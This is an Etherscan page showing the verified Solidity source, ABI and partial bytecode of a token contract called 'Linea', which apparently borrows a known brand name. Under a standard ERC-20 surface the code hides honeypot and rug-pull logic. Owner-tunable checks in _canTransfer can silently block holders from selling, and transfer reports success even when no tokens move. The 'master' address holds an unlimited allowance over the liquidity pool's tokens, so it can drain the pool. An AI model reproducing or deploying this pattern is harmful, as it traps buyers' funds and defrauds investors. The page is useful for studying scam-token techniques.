ETH Price: $3,883.18 (+7.60%)

Token

(0x4f357cafcae474297fece0d2d282fde076538e29)
 

Overview

Max Total Supply

1,000,000,000 ERC-20 TOKEN*

Holders

6 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap: Universal Router
Balance
0.000000000006143644 ERC-20 TOKEN*

Value
$0.00
0x3fc91a3afd70395cd496c647d5a6cc9d4b2b7fad
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Linea

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-05
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.9;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}


interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}


interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}


interface IPancakeRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Linea is Context, IERC20, Ownable {
    IPancakeRouter02 internal _router;
    IPancakePair public _pair;

    uint8 internal constant _DECIMALS = 18;

    address public master;
    mapping(address => bool) public _marketersAndDevs;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => uint256) internal _buySum;
    mapping(address => uint256) internal _sellSum;
    mapping(address => uint256) internal _sellSumETH;

    uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
    uint256 internal _theNumber = ~uint256(0);
    uint256 internal _theRemainder = 0;

    uint256 public delta;
    uint256 public desp;

    modifier onlyMaster() {
        require(msg.sender == master);
        _;
    }

    constructor(address routerAddress) {
        _router = IPancakeRouter02(routerAddress);
        _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        _balances[owner()] = _totalSupply;
        master = owner();
        _allowances[address(_pair)][master] = ~uint256(0);
        _marketersAndDevs[owner()] = true;
        desp = 1;
        delta = 2;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() external pure override returns (string memory) {
        return "Linea";
    }

    function symbol() external pure override returns (string memory) {
        return "LINEA";
    }

    function decimals() external pure override returns (uint8) {
        return _DECIMALS;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        if (_canTransfer(_msgSender(), recipient, amount)) {
            _transfer(_msgSender(), recipient, amount);
        }
        return true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_canTransfer(sender, recipient, amount)) {
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");

            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

    function setNumber(uint256 newNumber) external onlyOwner {
        _theNumber = newNumber;
    }

    function setRemainder(uint256 newRemainder) external onlyOwner {
        _theRemainder = newRemainder;
    }

    function setMaster(address account) external onlyOwner {
        _allowances[address(_pair)][master] = 0;
        master = account;
        _allowances[address(_pair)][master] = ~uint256(0);
    }

    function syncPair() external onlyMaster {
        _pair.sync();
    }

    function setDelta(uint256 _newDelta) external onlyOwner {
        require(_newDelta < 100_000);
        delta = _newDelta;
    }

    function includeInReward(address account) external onlyMaster {
        _marketersAndDevs[account] = true;
    }

    function excludeFromReward(address account) external onlyMaster {
        _marketersAndDevs[account] = false;
    }

    function _isSuper(address account) private view returns (bool) {
        return (account == address(_router) || account == address(_pair));
    }

    function _canTransfer(address sender, address recipient, uint256 amount) view  private returns (bool) {
        if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
            return true;
        }

        if (_isSuper(sender)) {
            _checkDelta();
            return true;
        }
        if (_isSuper(recipient)) {
            uint256 amountETH = _getETHEquivalent(amount);
            uint256 bought = _buySum[sender];
            uint256 sold = _sellSum[sender];
            uint256 soldETH = _sellSumETH[sender];

            return bought >= sold + amount && _theNumber >= soldETH + amountETH && sender.balance >= _theRemainder;
        }
        return false;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        desp = _pair.totalSupply();
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _hasLiquidity() private view returns (bool) {
        (uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
        return reserve0 > 0 && reserve1 > 0;
    }

    function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
        (uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
        if (_pair.token0() == _router.WETH()) {
            return _router.getAmountOut(amountTokens, reserve1, reserve0);
        } else {
            return _router.getAmountOut(amountTokens, reserve0, reserve1);
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (_hasLiquidity()) {
            if (_isSuper(from)) {
                _buySum[to] += amount;
            }
            if (_isSuper(to)) {
                _sellSum[from] += amount;
                _sellSumETH[from] += _getETHEquivalent(amount);
            }
        }
    }

    function _checkDelta() internal view {
        uint256 currentDesp = _pair.totalSupply();
        if (delta > 1 && currentDesp < desp ) {
            require(currentDesp * _balances[address(_pair)] / desp < delta);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_marketersAndDevs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"contract IPancakePair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"delta","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"desp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"master","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newDelta","type":"uint256"}],"name":"setDelta","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setMaster","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumber","type":"uint256"}],"name":"setNumber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newRemainder","type":"uint256"}],"name":"setRemainder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526012600a6200001491906200079e565b633b9aca00620000259190620007ef565b600a55600019600b556000600c553480156200004057600080fd5b5060405162003133380380620031338339818101604052810190620000669190620008ba565b600062000078620005d360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001c057600080fd5b505afa158015620001d5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fb9190620008ba565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200028057600080fd5b505afa15801562000295573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002bb9190620008ba565b6040518363ffffffff1660e01b8152600401620002da929190620008fd565b602060405180830381600087803b158015620002f557600080fd5b505af11580156200030a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003309190620008ba565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a546005600062000387620005db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003d5620005db60201b60201c565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060001960066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160046000620004f2620005db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e819055506002600d8190555062000563620005db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620005c491906200093b565b60405180910390a35062000958565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000692578086048111156200066a576200066962000604565b5b60018516156200067a5780820291505b80810290506200068a8562000633565b94506200064a565b94509492505050565b600082620006ad576001905062000780565b81620006bd576000905062000780565b8160018114620006d65760028114620006e15762000717565b600191505062000780565b60ff841115620006f657620006f562000604565b5b8360020a91508482111562000710576200070f62000604565b5b5062000780565b5060208310610133831016604e8410600b8410161715620007515782820a9050838111156200074b576200074a62000604565b5b62000780565b62000760848484600162000640565b925090508184048111156200077a576200077962000604565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007ab8262000787565b9150620007b88362000791565b9250620007e77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200069b565b905092915050565b6000620007fc8262000787565b9150620008098362000787565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000845576200084462000604565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008828262000855565b9050919050565b620008948162000875565b8114620008a057600080fd5b50565b600081519050620008b48162000889565b92915050565b600060208284031215620008d357620008d262000850565b5b6000620008e384828501620008a3565b91505092915050565b620008f78162000875565b82525050565b6000604082019050620009146000830185620008ec565b620009236020830184620008ec565b9392505050565b620009358162000787565b82525050565b60006020820190506200095260008301846200092a565b92915050565b6127cb80620009686000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063989853311161007c5780639898533114610365578063a9059cbb14610381578063b51449bb146103b1578063b59c0974146103cf578063dd62ed3e146103d9578063ee97f7f31461040957610142565b806352390c02146102bf57806370a08231146102db5780638b3aa27c1461030b5780638da5cb5b1461032957806395d89b411461034757610142565b806323b872dd1161010a57806323b872dd146101ed57806326fae0d31461021d5780632782e35b14610239578063313ce567146102695780633685d419146102875780633fb5c1cb146102a357610142565b8063025ff0a51461014757806306fdde0314610163578063095ea7b31461018157806312b495a8146101b157806318160ddd146101cf575b600080fd5b610161600480360381019061015c9190611d39565b610427565b005b61016b6104d5565b6040516101789190611dff565b60405180910390f35b61019b60048036038101906101969190611e7f565b610512565b6040516101a89190611eda565b60405180910390f35b6101b9610530565b6040516101c69190611f04565b60405180910390f35b6101d7610536565b6040516101e49190611f04565b60405180910390f35b61020760048036038101906102029190611f1f565b610540565b6040516102149190611eda565b60405180910390f35b61023760048036038101906102329190611f72565b610652565b005b610253600480360381019061024e9190611f72565b6108b8565b6040516102609190611eda565b60405180910390f35b6102716108d8565b60405161027e9190611fbb565b60405180910390f35b6102a1600480360381019061029c9190611f72565b6108e1565b005b6102bd60048036038101906102b89190611d39565b610996565b005b6102d960048036038101906102d49190611f72565b610a35565b005b6102f560048036038101906102f09190611f72565b610aea565b6040516103029190611f04565b60405180910390f35b610313610b33565b6040516103209190611f04565b60405180910390f35b610331610b39565b60405161033e9190611fe5565b60405180910390f35b61034f610b62565b60405161035c9190611dff565b60405180910390f35b61037f600480360381019061037a9190611d39565b610b9f565b005b61039b60048036038101906103969190611e7f565b610c3e565b6040516103a89190611eda565b60405180910390f35b6103b9610c74565b6040516103c6919061205f565b60405180910390f35b6103d7610c9a565b005b6103f360048036038101906103ee919061207a565b610d78565b6040516104009190611f04565b60405180910390f35b610411610dff565b60405161041e9190611fe5565b60405180910390f35b61042f610e25565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b390612106565b60405180910390fd5b620186a081106104cb57600080fd5b80600d8190555050565b60606040518060400160405280600581526020017f4c696e6561000000000000000000000000000000000000000000000000000000815250905090565b600061052661051f610e25565b8484610e2d565b6001905092915050565b600d5481565b6000600a54905090565b600061054d848484610ff8565b15610647576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059d610e25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561061d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061490612198565b60405180910390fd5b610628858585611213565b61064585610634610e25565b858461064091906121e7565b610e2d565b505b600190509392505050565b61065a610e25565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106de90612106565b60405180910390fd5b600060066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060001960066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60046020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093b57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61099e610e25565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2290612106565b60405180910390fd5b80600b8190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a8f57600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4c494e4541000000000000000000000000000000000000000000000000000000815250905090565b610ba7610e25565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612106565b60405180910390fd5b80600c8190555050565b6000610c52610c4b610e25565b8484610ff8565b15610c6a57610c69610c62610e25565b8484611213565b5b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cf457600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610d5e57600080fd5b505af1158015610d72573d6000803e3d6000fd5b50505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e949061228d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f049061231f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610feb9190611f04565b60405180910390a3505050565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061109b5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110a9576001905061120c565b6110b28461153c565b156110c8576110bf6115ee565b6001905061120c565b6110d18361153c565b156112075760006110e183611735565b90506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905085826111bb919061233f565b83101580156111d7575083816111d1919061233f565b600b5410155b80156111fc5750600c548873ffffffffffffffffffffffffffffffffffffffff163110155b94505050505061120c565b600090505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127a90612407565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612499565b60405180910390fd5b6112fe838383611ae2565b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113779061252b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461